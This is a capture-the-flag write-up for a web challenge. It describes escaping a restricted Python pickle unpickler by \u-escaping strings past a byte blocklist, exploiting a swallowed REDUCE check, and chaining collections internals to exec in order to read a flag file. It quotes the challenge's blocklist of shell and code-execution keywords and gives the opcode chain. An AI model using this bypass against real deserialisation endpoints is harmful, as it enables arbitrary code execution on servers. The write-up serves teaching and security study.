pickle

Every string written as \uXXXX slips past a byte-level blocklist, and the check that should have stopped REDUCE throws inside its own try.

2026.09.19 PwnSec CTF 2026 Web
FLAG pwnsec{4a67e1f57b7b8d1b}

The challenge

“Time Capsule” — paste a base64-encoded pickle and the server “safely” deserialises it. The bundled webapp.py contains the whole defence:

BANNED_PATTERNS = [
    b".",
    b"os", b"system", b"popen", b"subprocess", b"commands",
    b"exec", b"eval", b"import", b"getattr", b"setattr", b"flag"
]
BANNED_INSTRUCTION = "REDUCE"
ALLOWED_MODULES = {"sessionstore", "collections"}

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module.split(".")[0] not in ALLOWED_MODULES:
            raise pickle.UnpicklingError("module %r is not allowed" % module)
        return super().find_class(module, name)

Three layers: ① reject if the raw bytes contain a banned string, ② reject if REDUCE appears in the disassembly, ③ find_class allows only sessionstore and collections.

Note b"." in layer ①. Banning a single full stop means the STOP opcode (.) is unavailable — and so is any module.attr dotted notation.

Hole 1 — the REDUCE ban does not work

def check(data):
    for pattern in BANNED_PATTERNS:
        if pattern in data:
            raise ValueError("Payload contains banned characters!")  # ← this one escapes

    out = io.StringIO()
    try:
        pickletools.dis(data, out=out)
        disassembled = out.getvalue()
        if BANNED_INSTRUCTION in disassembled:
            raise ValueError("...")        # ← this one is eaten right below
    except Exception:
        disassembled = "Error!"
    return disassembled

The ValueError raised on spotting REDUCE is swallowed by the very try that encloses it. disassembled becomes "Error!" and the function returns normally. REDUCE is effectively allowed, which opens up function calls.

Hole 2 — side effects run even without STOP

buf = io.StringIO()
with contextlib.redirect_stdout(buf):
    try:
        RestrictedUnpickler(io.BytesIO(data)).load()
    except Exception:
        pass
return buf.getvalue(), disassembled

With . unavailable there is no STOP, so load() raises UnpicklingError the moment the stream ends. That exception is discarded by except Exception: pass, and the side effects of every opcode executed up to that point remain. Better still, stdout is redirected into buf and returned in the response. So we do not need a clean finish — we just need to print something before the end.

Hole 3 — the V opcode decodes escapes

This is the key. pickle’s UNICODE opcode (V) is implemented as:

def load_unicode(self):
    self.append(str(self.readline()[:-1], 'raw-unicode-escape'))

It decodes with raw-unicode-escape. So Vexec\n yields the string "exec", but the bytes actually transmitted contain nothing but backslashes, u and hex digits.

The lucky part: the escape alphabet (\, u, 0-9a-f) contains none of the characters the banned patterns need. os needs o, exec needs x, eval needs v, flag / getattr need g, and . itself is outside it too. So writing every string wholly as \uXXXX makes filter ① impossible to trip.

And proto 4’s STACK_GLOBAL (\x93) takes the module name and the attribute name off the stack, so those two strings can be built with V as well — there is no need to embed them as raw bytes the way the c GLOBAL opcode requires.

The chain

We have to reach exec using only the allowed modules. What collections imports internally gives it away:

# CPython collections/__init__.py
from operator import eq as _eq, itemgetter as _itemgetter
import sys as _sys
  • collections._itemgetteroperator.itemgetter. itemgetter(k)(obj) is obj[k]; pickle has no indexing opcode, so this is the key that opens dictionaries.
  • collections.__builtins__ — in an imported module this is the builtins dict, so open, exec and print are all in there.

Put together:

collections._itemgetter          -> operator.itemgetter
itemgetter("exec")               -> REDUCE
collections.__builtins__         -> builtins dict
itemgetter("exec")(builtins)     -> REDUCE -> the exec builtin
exec("print(open('/app/flag.txt').read())") -> REDUCE

which is the whole opcode stream:

\x80\x04                          PROTO 4
V<collections> V<_itemgetter> \x93  STACK_GLOBAL
V<exec> \x85 R                    TUPLE1, REDUCE
V<collections> V<__builtins__> \x93 STACK_GLOBAL
\x85 R                            TUPLE1, REDUCE
V<code> \x85 R                    TUPLE1, REDUCE
(no STOP)

Every <...> is \uXXXX-escaped. PROTO 4 is required for STACK_GLOBAL, and as a bonus it makes find_class take the _getattribute path for proto >= 4.

The code exec runs also sits inside a V, so the . and flag in /app/flag.txt need no special handling — the whole string is already escaped.

$ python3 exp.py https://f6c3060a3c9f457c.chal.ctf.ae
pwnsec{4a67e1f57b7b8d1b}

Notes

Have the payload check itself against the banned list; it saves time. The first version escaped “only the dangerous characters” and left exec and flag exposed. Escaping everything passed on the first try. Partial escaping invites mistakes; total escaping leaves no room for them.

The real lesson here is less about the filter than about the try/except wrapped around it. If the exception that signals a failed check is raised inside the same try as the checking code, that exception stops being a check and becomes noise.

Files

  • exp.py — payload generation and delivery (python3 exp.py <url>; with no argument it just prints the base64)
  • challenge/ — challenge sources
#pickle#deserialisation#python